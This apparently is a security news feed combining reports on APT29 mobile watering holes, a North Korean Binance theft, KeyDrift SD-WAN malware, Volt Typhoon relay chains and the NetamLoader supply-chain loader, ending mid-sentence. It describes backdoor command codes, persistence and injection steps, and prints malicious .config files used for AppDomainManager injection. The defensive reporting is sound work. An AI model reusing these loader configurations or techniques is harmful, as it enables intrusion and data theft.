Russia-linked group APT29 targeted iOS and Android users through hijacked websites and a compromised analytics service.

Sekoia says a large-scale watering hole campaign is going after iOS and Android users, and it links the campaign to APT29 (aka SVR group, Cozy Bear, Nobelium, BlueBravo, Midnight Blizzard, and The Dukes), the Russian group tied to the SVR foreign intelligence service. A watering hole is a site that attackers poison so visitors infect themselves.

Sekoia found the campaign in mid-October 2026. It involved hacked or cloned high-profile websites in the US, Ukraine, the Czech Republic and Bulgaria. There’s also a supply-chain attack on a Ukrainian web analytics service, Plerdy, loaded by thousands of websites, most of them Ukrainian.

The attackers used three different methods to reach victims, but all led to the same malicious payload. They injected JavaScript into hacked websites, created fake websites that copied legitimate ones and secretly added malicious code, and compromised the Plerdy analytics service to infect websites using its script.

Sekoia first spotted the campaign on the website of a Ukrainian gas production company. Other compromised sites included a major US chemical industry association, a European far-right political party and a Bulgarian website linked to the military. In the Bulgarian case, attackers modified an existing JavaScript library without changing the website’s visible pages. Researchers found no clear pattern in the targeted organizations, although they believe some websites may have been selected to reach specific individuals.

Sekoia also identified two fake websites designed to impersonate legitimate services. One copied America250, the US initiative marking the country’s 250th anniversary, while another reproduced the website of Raffles London at The OWO, a luxury hotel close to the UK Ministry of Defence and Downing Street.

“The second website, theowo[.]club, now offline, acted as a reverse proxy for the website of Raffles London at The OWO, a prestigious luxury hotel housed in the historic Old War Office building.” reads the report published by Sekoia. “The hotel’s location is particularly noteworthy because of its proximity to some of the United Kingdom’s most sensitive government institutions, including the Ministry of Defence and 10 Downing Street, the official residence and office of the British Prime Minister.”

The hotel connection is particularly interesting because Ukrainian President Volodymyr Zelensky reportedly stayed there during a visit to London on October 14. Sekoia believes the fake website may have been used to target diplomatic delegations through spear-phishing, but stresses that this remains an unconfirmed possibility.

Between August 27 and September 3, 2026, the attackers compromised the Plerdy tracker at a.plerdy[.]com. For a week, visitors loaded both Plerdy’s script and the attackers’ profiling script. Several affected sites relate to the military and military recruitment, including army, special forces and military equipment websites.

“Between 27 August and 3 September 2026, the intrusion set compromised the Ukrainian Plerdy analytics tracker hosted under the domain a.plerdy[.]com, which is loaded by thousands of websites, the large majority of them Ukrainian.” reads the report. “It remains unclear whether the attackers intended to target visitors to specific websites or sought to compromise as many unpatched mobile devices as possible, indiscriminately exfiltrating data before selectively identifying and exploiting information of interest.”

Sekoia can’t say whether the aim was specific visitors or as many unpatched phones as possible, with the sorting done later. It also considers that the attackers may have used Plerdy after failing to inject code directly into Ukrainian high-value sites that relied on it. The Plerdy payload pointed to a load-balancing domain that sent traffic across several delivery servers.

The profiling script, which the attackers call UltimateFingerprinter, is attached to a minified AngularJS library that makes up 98 percent of a 2.3 MB file. Sekoia thinks that bulk might stop analysis by large language models, or make the script look legitimate. The script runs 61 collectors that build 394 fields, then sends them to a server that decides whether to answer with exploit code.

Strangely, almost none of that data matters. Only implausible screen sizes, like 99999, or a device reporting zero touch points block delivery. Sekoia doesn’t know why the attackers collect so much and sees no sign the data was used later.

Sekoia pulled three exploit chains from the delivery server. Class A hits iOS 16.7 and steals cookies. Class B hits iOS 18.5 and takes full device data. Class C hits Android Chrome versions 139 to 145, minus 143 for reasons Sekoia can’t explain, and steals Chrome cookies and Wi-Fi passwords.

“During the investigation, we tested different browser profiles against the fingerprinting endpoint at static[.]flux-telemetry[.]com in order to retrieve the exploits served to visitors.” states the report. “This allowed us to retrieve three complete exploit chains (afternamed A, B and C), along with their final payloads, targeting both Android and iOS. Here is a summary of what we found:”

Class B is DarkSword, which Sekoia describes as a suspected iOS exploit kit from a commercial surveillance vendor, uploaded to VirusTotal in September 2026. It takes text messages and iMessages, Mail indexes, voicemail, WhatsApp and Telegram databases, Keychain passwords and tokens, account credentials and Wi-Fi keys. It also takes contacts, call history, calendar, notes, Safari history and cookies, location caches, Health data, photos and iCloud Drive.

The Android payload, which Sekoia calls AndroSnitch, collects Chrome cookies, saved logins and history, plus Wi-Fi settings. It stops on one phone model, the Samsung Galaxy S25 Ultra. It resembles a 2024 payload that Google TAG documented, called AndroSnatch, but the sample is too small to prove lineage. The iOS cookie chains set a marker cookie meant to block reinfection for a day, but a coding mistake makes it expire in a minute.

All stolen data goes to ad.starx-net[.]com:8881/telemetry/v12. None of the chains persist on the device. All of them rely on known flaws, and none uses a zero-day.

For attribution, Sekoia has several threads. A CERT said a compromised site’s backend files held traces matching a private report on a 2025 APT29 watering hole campaign, and Google TAG said the framework resembles an APT29 campaign against Mongolian government websites in 2024. Victims also skew to Europe and the US with a focus on Ukraine, infrastructure sits across multiple hosters, and a hacked Czech far-right site fits APT29’s record of targeting European political parties. It rates the link moderate to high confidence, and it’s coordinating with the CERTs of affected countries.

The campaign shows how exploit kits move down the market. Sekoia says state-backed groups keep reusing frameworks from commercial surveillance vendors such as DarkSword, and that packaged exploit chains lower the cost and skill needed for advanced mobile attacks. It expects such reuse to become more frequent.

The good news is that Sekoia’s attackers don’t have fresh tricks. Every flaw was fixed by its vendor before the campaign began, and none works against fully updated devices.

“None of them contain zero-days or work against fully updated devices. Each flaw was resolved by the respective vendor before this campaign began. This operation targets unpatched devices using n-days; a user running an up-to-date operating system is safe from these attacks.” concludes the report.

“This watering hole campaign, which we assess with moderate to high confidence to be linked to APT29, combines multiple web delivery vectors with n-day mobile exploit chains targeting Android and iOS devices. Across the directly compromised websites, no single sectoral targeting pattern emerges from our analysis. While the victimology shows a focus on Ukraine and the United States, the inclusion of unrelated entities such as an Australian medical clinic complicates a broad strategic interpretation. However, we assess that these websites may have been selected to profile and infect specific individuals of interest based on targeting intelligence to which we do not have visibility. The operators adapted by deploying Adversary-in-the-Middle-ish to intercept visitors associated with diplomatic or high-profile events.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, APT29)

FortiGuard Labs links BITTER to cyberespionage attacks on South Asian organizations using malicious Windows shortcuts, PowerShell scripts, and PapRAT malware.

The FBI blames North Korea for stealing $6 billion from Binance and urges crypto firms to block transactions linked to the stolen funds.

The FBI has named North Korea as the party behind the theft of more than $6 billion in virtual assets from the crypto exchange Binance, on or about October 29, 2026. The bureau published its findings in a public alert. The FBI specifically blames the North Korea-linked APT “TraderTraitor,” also tracked as Lazarus Group and APT38.

Binance hasn’t named a culprit, but the blockchain analysis firm TRM has. It was the first to attribute the attack to TraderTraitor, and Chainalysis also said it’s highly confident in that finding.

“The Federal Bureau of Investigation (FBI) is releasing information advising the Democratic People’s Republic of Korea (North Korea) was responsible for the theft of more than $6 billion USD in virtual assets from cryptocurrency exchange Binance, on or about October 29, 2026. The FBI refers to this specific North Korean malicious cyber activity as “TraderTraitor.”” reads the FBI’s statement.

“The FBI, together with partners at the USSS and IRS-CI, has observed TraderTraitor actors converting stolen assets primarily into Ethereum (ETH). It is expected these assets will then be further laundered by converting them using DeFi and instant swap services as they prepare them for further laundering stages.”

Attackers used access from an engineer’s laptop to reach a service container and send unauthorized withdrawal requests. Binance says it has found no evidence that attackers stole any wallet private keys.

The FBI, along with the U.S. Secret Service (USSS) and IRS Criminal Investigation (IRS-CI), has spotted TraderTraitor actors turning the stolen assets mostly into Ethereum (ETH). The agencies expect the next step to be more laundering, by swapping the funds through DeFi and instant swap services as the actors prepare them for later stages. Instant swap services are aptly named.

The alert is aimed at private companies as well as law enforcement agencies. The FBI, USSS and IRS-CI are asking several types of businesses to help stop the money laundering. These include THORNode operators, who support the THORChain network, RPC node operators, who provide apps with access to blockchains, instant crypto exchanges, DeFi platforms, blockchain analytics companies and other crypto service providers.

The request is clear: these companies should block any transactions involving the wallet addresses used by TraderTraitor, including funds that can be traced back to them. According to the FBI, these addresses have received stolen funds and are controlled by North Korean attackers or are closely linked to them. The full list of addresses is included in the alert.

If you run any of these services, the first job is to check your blocklists against that list. The second is to look at transaction flows that touch those addresses indirectly, since the FBI says to block anything “derived from” them, not just direct transfers. Blockchain analytics firms are named for a reason, because tracing derived funds is their work.

The FBI says it’s committed to protecting the virtual asset community by identifying, mitigating and disrupting North Korea’s illicit cybercrime and virtual asset theft.

“The FBI maintains its commitment to protecting the virtual asset community by identifying, mitigating, and disrupting North Korea’s illicit cybercrime and virtual asset theft activities.” concludes the report. “If you have any information to provide, please contact your local FBI field office or FBI’s Internet Crime Complaint Center at ic3.gov.”

TRM says the attacker moved about $6.36 billion out of Binance wallets on ten blockchains on October 29, most of it in roughly 20 minutes starting at 20:05 UTC. That makes it the largest crypto theft on record, about four times the $1.5 billion Bybit hack of February 2025.

“On October 29, 2026, an attacker moved approximately USD 6.36 billion out of Binance wallets on ten blockchains, most of it in about 20 minutes starting at 20:05 UTC. That makes this the largest crypto theft on record, about four times the USD 1.5 billion Bybit hack of February 2025. Binance has confirmed a security incident and suspended withdrawals on several networks.” TRM said. “TRM attributes the attack to TraderTraitor, North Korea’s elite hacking unit, based on robust on and off-chain intelligence. We make this judgment with high confidence. TRM is tracking the funds and alerting partners through the Beacon Network.”

Freezing the money only went partway. Tether, Circle, Ripple and World Liberty Financial froze about $2.67 billion in stablecoins, and Arbitrum’s Security Council froze 8,426 ETH and 74.6 million ARB, for roughly $2.7 billion in all. But the attacker raced the freezes by selling USDT to market makers and borrowing ETH against USDT on Aave. It now holds more than 420,000 ETH and 18,270 BTC, about $2.4 billion beyond any issuer’s reach.

The early freeze numbers were messy too, Tether and Circle froze approximately $1.79 billion in stablecoins associated with the suspicious transfers in the initial reports. Those amounts describe different moments, and you shouldn’t add them without checking whether they cover distinct assets. A freeze works on tokens that have an issuer to call, and Ether and Bitcoin don’t.

Below is the link to my interview regarding the Binance case for Italian state television.

https://www.youtube.com/watch?v=DtvhBA9TdPo

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Binance)

Content AhnLab monitored APT (Advanced Persistent Threat) attacks targeting entities in Korea using its own infrastructure. This report summarizes the classification, statistics, and functional characteristics for each type of domestic APT attacks identified during the month of September 2026. Purpose and Scope The report outlines the distribution methods and execution types of APT attacks identified […]

• Cisco Talos has identified UAT-11473, a highly sophisticated advanced persistent threat (APT) actor, who exploited CVE-2026-20127, an authentication bypass vulnerability in Cisco SD-WAN Catalyst Controller instances to bypass authentication and gain unauthorized access to affected systems.
• UAT-11473 then installed a custom malware framework we track as “KeyDrift” consisting of multiple components geared towards collecting sensitive keying information, acting as backdoors and intermediate command-and-control (C2) hosts.
• Observed targeting spans across space and satellite services, defense and aerospace technology, and policy research.

---

Talos assesses with high confidence that UAT-11473’s operating infrastructure overlaps considerably with Volt Typhoon’s “Silent Train” covert access network.

KeyDrift is a custom malware framework that is designed to operate in Cisco SD-WAN controller environments. Talos assesses with high confidence that the framework is designed to provide long-term persistent access and automated exfiltration of sensitive keying material. KeyDrift operates inside SD-WAN control-plane processes and is capable of intercepting decrypted control traffic, extracting control-session metadata and data-plane keying material, and staging or transmitting the collected material using encrypted records.

The framework's primary component is PolyFlame, a memory-resident module deployed through modified runit service paths. PolyFlame is injected into legitimate running vdaemon processes, and it can also masquerade as a packed “aaamgrd” loader variant. Once resident, PolyFlame interposes socket, DTLS, and runtime-linker behavior through functions such as recvfrom, sendto, getpeername, dlopen, dlsym, mprotect, and “/proc/%d/maps” parsing. This gives KeyDrift access to SD-WAN control-plane traffic from inside legitimate controller daemon execution rather than through a conventional endpoint beacon.

LittleFilch, another component of the KeyDrift framework, provides the collection and exfiltration capability identified in the framework. The module hooks “SSL_read” inside vdaemon, inspects decrypted control-plane buffers, extracts keying material for a list of predefined edge nodes, and stages the data locally in encrypted format for exfiltration.

Talos assesses with high confidence that KeyDrift's intended operational purpose is Cisco SD-WAN control-plane collection: persistent controller residence, in-band traffic access, key-material extraction from decrypted control messages, and encrypted staging or exfiltration of the recovered material. Observed variations of the KeyDrift modules and deployment mechanisms suggest active development of the framework’s capabilities.

KeyDrift analysis

KeyDrift uses Cisco SD-WAN runit service paths as its primary execution anchor. In the PolyFlame sshd deployment, the actor modifies the service run script, remounts /rootfs.rw executable, launches a malicious script “conf_sshd” in the background, and then starts the legitimate sshd service. The loader script enumerates running vdaemon PIDs, records them in “/tmp/system-vdaemon”, and invokes the injector component “rsshd” to inject PolyFlame (“libdssl.so”) into each process.

Recovered conf_sshd logic uses the same control flow across reviewed samples:

Runit launchers

The observed sshd runit launcher preserves normal Cisco SD-WAN sshd startup logic while adding two malicious lines before service execution, which remount “/rootfs.rw” executable and background execution of conf_sshd, which then drives rsshd injection into vdaemon.

The recovered aaamgr runit launcher from an affected vBond appliance uses a parallel service-wrapper pattern, but it executes the packed aaamgrd PolyFlame loader directly. The deletion of the writable-overlay PAM configurations for sshd and login before remounting “/rootfs.rw” executable if part of the legitimate script, along with the invocation of the aaamgrd daemon via Python:

PolyFlame

PolyFlame is the primary operational module in the KeyDrift framework. PolyFlame operates at the socket and DTLS control-plane layer. PolyFlame serves two primary purposes:

• Command execution via a TinyShell-styled backdoor
• Intermediate C2 that can forward commands to and from the C2 to other peers

PolyFlame is primarily injected into the vdaemon process, providing operational obfuscation and access to all in-process state: DTLS session keys, vEdge topology, OMP routes, and policy tables. No hardcoded IPv4 addresses, binding ports, callback domains, URLs, host headers, or polling interval were recovered from the analyzed PolyFlame samples. PolyFlame is designed for in-band control or tasking over Cisco SD-WAN control-plane traffic rather than a conventional fixed external beacon.

This implant is meant to serve as a hook of the recvfrom() API call. The original recvfrom is replaced by a malicious subroutine in the vdaemon process. When recvfrom is called in the vdaemon process, the malicious subroutine will first execute the real/legitimate recvfrom() API to obtain the C2 IP address info for communicating with it in the future.

PolyFlame’s time check

The recvd data from the C2 consists of the MD5 value of a specific DATE. PolyFlame will calculate the local time on the device in format “%Y-%m-%d" and calculate its MD5 hash. If the MD5 calculated by the device does not match with the one sent by the C2, the implant will stop further execution. Otherwise, the implant then uses an “administrative code” from the C2 and performs an action.

PolyFlame’s tasking

PolyFlame contains an administrative mode that processes the admin code sent by the C2, that defines operations — it's one of the first flags checked in the backdoor:

• Code = 1: Generate random bytes and send to C2. This is likely a check-in beacon or heartbeat for the C2.
• Code = 2: Set implant type to backdoor (TinyShell) or intermediate C2.
• Code = 3: Set up the command handler for the intermediate C2.
• Any other code value: Check the implant type flag currently set. Based on the implant type flag, either send the accompanying data to TinyShell or the intermediate C2 component for processing.

PolyFlame’s command execution

PolyFlame contains a backdoor that matches the capabilities of TinyShell: file read, file write, and arbitrary command execution, but not interactive shell. This backdoor component’s implementation is quite similar to TinyShell, but the command codes differ. PolyFlame handles the following command codes:

• Code = 0x100: Execute command using “/bin/sh -c <command>”
• Code = 0x200: Write file to disk.
• Code = 0x300: Read file from disk and send to the C2.

PolyFlame as an intermediate C2 component

The intermediate C2 component is a one-to-many handler (somewhat like a one-to-many multiplexer) — meaning the implant can connect to only one C2 but can connect to many peers who can be served by the intermediate C2 component. Similar to the TinyShell-backdoor component, the intermediate C2 component also accepts and processes specific command codes from the C2:

• Code = 0x403: Create a thread to connect to the specified peer IP. Make a new connection and keep socket alive until specified.
• Code = 0x404: Send data recvd from the C2 to a connected peer.
• Code = 0x405: Remove a peer from the list of active connections.
• Code = 0x407: Send a response recvd from a peer, back to the C2.
• Code = 0x408: Set a specific value in memory.

PolyFlame variant: aaamgrd

 Talos has observed a distinct PolyFlame variant that masquerades as the aaamgr service. The legitimate Cisco aaamgr component is a Python package; it does not normally appear as a compiled ELF runit service. This PolyFlame variant is executed by a malicious runit service under “/etc/sv/aaamgr/” with aaamgrd and a modified run launcher.

aaamgrd is a statically linked ELF64 executable with no section headers, a single RWE loader segment, and an RC4-encrypted embedded ELF payload. The loader uses direct syscalls including ptrace, fork, wait4, kill, tgkill, mmap, and mprotect. It performs an anti-debug check by deobfuscating /proc/%d/status and TracerPid: and exits if a tracer is present.

The observed staging sequence was:

Figure 4. PolyFlame staging sequence.

Note that in addition to the implant execution staging, there are also indications of timestomping.

LittleFilch: libcommon.so TLS interception module

LittleFilch is a control-session interception module positioned to collect data-plane keying material from control sessions visible to the injected vSmart process.

LittleFilch installs an SSL_read hook inside vdaemon. The hook calls the original SSL_read, then processes returned buffers only when the returned size is greater than 0x18F, the first decrypted byte is 0x07, and three marker patterns are checked for presence. These marker bytes are followed by the actual artifacts that LittleFilch aims to record:

Marker bytes	Parsed field	Length	Notes
40 03 06	Public IP	4 bytes	vEdge public / transport IP
40 0C 04	Peer system-IP	4 bytes	vEdge OMP system-IP
05 01 0C 06 40	Binary key field	32 (0x20) bytes	Assessed OMP-distributed AES-256 IPsec data-plane key material

LittleFilch records the extracted keying material and RSA-encrypts it before writing the output to “/var/tmp/vdaemon.bin”. It can then send the encrypted content over UDP in a DTLS 1.2 application-data style record.

LittleFilch expects its configuration file — located at “/var/tmp/vdaemon.conf” —  to contain two host port lines: one local bind IP/port and one remote destination IP/port. It deletes “/var/tmp/vdaemon.conf” after reading it. Talos has not been able to recover the “vdaemon.conf” file.

KeyDrift components

Component	Primary hook/surface	Observed scope	Confirmed function
PolyFlame libdssl.so	Socket / DTLS / runtime linker interposition inside vdaemon	Multiple affected controller roles	In-band control-plane interception and tasking; exact command format unresolved
rsshd	Ptrace injection	Multiple affected controller roles	Injects libdssl.so into vdaemon by PID
conf_sshd	Shell-based PID enumeration	Multiple affected controller roles	Locates vdaemon PIDs and records injection output
Trojanized run	Runit service launcher	Multiple affected controller roles	Remounts overlay executable and launches injector chain
Packed aaamgrd	Packed loader, direct syscalls, anti-debug	Affected vBond appliance evidence	Decrypts and runs embedded PolyFlame payload; tampers with PAM configs
LittleFilch libcommon.so	OpenSSL SSL_read hook	Affected vSmart process evidence	Extracts control-session identifiers and assessed data-plane key material from decrypted control traffic
vdaemon.bin	Encrypted staging file	Affected vSmart process evidence	Stores RSA-encrypted LittleFilch telemetry records
vdaemon.conf	Runtime endpoint config	Affected vSmart process evidence	Supplies local and remote UDP endpoint configuration; deleted after read

MITRE ATT&CK techniques 

Technique	ID	Notes
Process Injection: Ptrace System Calls	T1055.008	rsshd injects libdssl.so into vdaemon by PID
Hijack Execution Flow: Dynamic Linker Hijacking	T1574.006	PolyFlame uses dlsym(RTLD_NEXT, ...), dlopen, and runtime interposition
Boot or Logon Initialization Scripts	T1037	Modified runit service scripts launch KeyDrift components
Create or Modify System Process	T1543	Malicious service paths under etc/sv/sshd/ and etc/sv/aaamgr/
Masquerade Task or Service	T1036.004	sshd and aaamgr service-name masquerading
Unix Shell	T1059.004	conf_sshd and recovered operator staging commands
Software Packing	T1027.002	aaamgrd uses packed embedded ELF payload
System Checks	T1497.001	aaamgrd checks TracerPid before unpacking
Timestomp	T1070.006	touch --reference= and chmod --reference= staging commands copied reference file metadata
Network Sniffing	T1040	PolyFlame and LittleFilch intercept SD-WAN control-plane traffic
Encrypted Channel: Symmetric Cryptography	T1573.001	PolyFlame AES implementation; aaamgrd RC4 packer; LittleFilch RSA-encrypted records

Recommendations

Cisco has released patches for CVE-2026-20127 and published a hardening guide for Cisco Catalyst SD-WAN deployments available here. Organizations are strongly advised to prioritize the application of these patches and follow the guidance provided.

Following the identification of UAT-11473 activity, Talos strongly recommends that organizations monitor their systems for indicators of post-compromise activity. Should any signs of unauthorized activity be detected, organizations should immediately activate their incident response frameworks. Contact the Cisco Technical Assistance Center (TAC) for support by initiating a TAC request.

Coverage

Snort SIDs are already available for CVE-2026-20127: 65938, 65958.

Snort SIDs for the malicious artifacts illustrated in this blog:

• Snort v2: 67387 through 67416
• Snort v3: 7:44 through 7:73

Volt Typhoon used disposable relay chains to hide zero-day attacks on critical systems. Lumen linked Silent Train to at least four zero-days.

Lumen’s Black Lotus Labs has spent three years tracking a covert network it calls Silent Train, which it ties to Volt Typhoon, the China-linked APT group. The cybersecurity firm says the network hid exploitation of software flaws the vendors didn’t know about yet. Black Lotus sent hundreds of victim notifications along the way, and the investigations that followed revealed the exploitation of at least four confirmed zero-days and one likely.

“Volt Typhoon’s Silent Train is a covert network designed to gain and maintain access to the technologies businesses rely on to manage devices, networks and critical operations.” reads the report published by Lumen. “Black Lotus Labs® tracked how the group used rapidly changing chains of compromised infrastructure to conceal its activity while exploiting previously unknown vulnerabilities in centralized management platforms.”

Silent Train first showed up in November 2023, shortly before the first takedown of the KV-botnet, Volt Typhoon’s earlier network of hijacked routers. Activity rose after the second disruption. The group dropped persistent infrastructure and moved to disposable chains of compromised devices that it could rebuild whenever it wanted.

Each session began on a rented server outside the United States. It then passed through another server and compromised small-office routers, home devices and IoT equipment in other countries. Finally, the traffic passed through a compromised device in the U.S., close to the target. This helped the attackers make their activity look like normal local traffic and bypass location-based blocks and IP reputation filters. On average, the chains passed through about four devices before reaching a U.S. IP address. Some used as many as six.

Lumen identified more than 27 types of devices used in the network, including TP-Link routers and Fortinet appliances. Some of these devices had no known vulnerabilities, suggesting that Volt Typhoon may have used previously unknown exploits to compromise them and create relay points.

“We observed more than 27 device classes exploited and used in Silent Train operations, ranging from SOHO and IoT devices like TP-Link routers and Netgear Orbi devices to enterprise platforms like Fortinet appliances and CyberPanel servers.” the report continues. “Some relay device types lack known vulnerabilities, suggesting Volt Typhoon leveraged undisclosed zero-day exploits to set up a single relay in a four-to-six hop chain and indicating a willingness to commit significant resources to protecting future access capabilities.”

The attackers exploited exposed web interfaces and installed only the tools needed to connect the devices through SSH. These included temporary SSH services, keys, configuration files and tools already available on the systems. At the end of each session, they removed all traces of their activity and dismantled the relay chain. Sessions lasted about four hours on average, although some lasted only minutes. The attackers could also build a new chain in less than two minutes, suggesting that they had partly automated the process.

The group worked with strict discipline. New device types arrived about one per quarter, and about one per month during the 2023 and 2024 build-out, always tested outside the U.S. first. Roles never changed: Intelbras modems served only as overseas relays, Netgear Orbi devices only as the U.S. hops facing victims, and the server providers stayed separated by layer too.

By early 2025, enterprise platforms like Fortinet, Cisco, PRTG, Mirth Connect and CyberPanel joined as final hops. They stayed up one to three months and supported several intrusions. The group also added reverse tunnels using the open-source proxies Chisel and FRP, and the old and new methods ran in parallel.

Volt Typhoon used Silent Train only during key stages of its attacks, including exploiting vulnerabilities, stealing credentials and data, and maintaining access to compromised systems. Each session targeted between one and five victims, often just one organization. The activity was carried out by human operators, mainly from Monday to Friday, between 9 a.m. and 10 p.m. China Standard Time. The group also paused operations for several weeks around Chinese New Year.

The group targeted tools used to manage endpoints and networks, as well as SD-WAN systems and other control platforms. These systems can manage hundreds or thousands of devices, allowing attackers to reach many systems without moving through the network in the usual way. This approach also helped them leave fewer traces. After the attacks, investigators found webshells running in memory, stolen credentials, misuse of built-in features such as remote file transfers, and deleted logs.

The four confirmed zero-day campaigns hit Versa Director in 2024, N-able N-central through CVE-2025-8875 and CVE-2025-8876, Cisco Catalyst SD-WAN through CVE-2026-20127, and VeloCloud Orchestrator through CVE-2026-16812. The Cisco bug is a CVSS 10.0 flaw, and the group kept exploiting it well after Cisco disclosed it in February 2026. In the Versa case, the group used an in-memory JAR webshell to limit forensic evidence and reach downstream customers.

The likely fifth is Quest KACE. The campaign hit more than 30 victims and faded after Quest’s October 2025 security updates.

“The campaign affected more than 30 victims, followed vendor remediation timelines and declined after Quest’s October 2025 security updates.” the report states. “Despite limited forensic evidence, the available data supports a moderate-confidence assessment that Volt Typhoon exploited a zero-day vulnerability.”

The actor stayed on the KACE server and used its admin features to take credentials.

Victims include telecoms, government agencies, defense contractors, satellite and emergency communications, universities with ROTC programs, managed service and IT firms, and critical infrastructure such as water, energy, transportation, maritime, rail and aviation. What they share is access to bigger networks or customers. Hawaii, California and Texas were the top locations for several years. Lumen can’t say why, but the pattern fits pre-positioning for a crisis in the Indo-Pacific.

“For enterprise leaders, the lesson is clear: systems with broad administrative reach can become high-value gateways to the entire organization and its customers. Reducing internet exposure, accelerating patching, strengthening access controls and preserving security telemetry are essential to detecting threats earlier and limiting their impact.” Lumen concludes.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, China)

Introduction

A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

Background

During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

Initial infection

The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

After the file is launched in this manner, the infection chain progresses to stage 1.

Stage 1

Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

Step 1

The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<runtime>
		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
       </appDomainManagerType>
		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                    Culture=neutral, PublicKeyToken=31bf3856ad364e35">
       </appDomainManagerAssembly>
		<NGenAssemblyUsageLog enabled="0" />
	</runtime>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
    </startup>
</configuration>

According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
    <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                Version=4.0.0.0, Culture=neutral, 
                PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>

Step 2

The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

Step 3

The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
2. Generate the AES key by hashing the command‑line string with SHA‑256.
3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

Stage 2

XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

XAML-2-1

The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

The key steps it takes to achieve its goal are as follows:

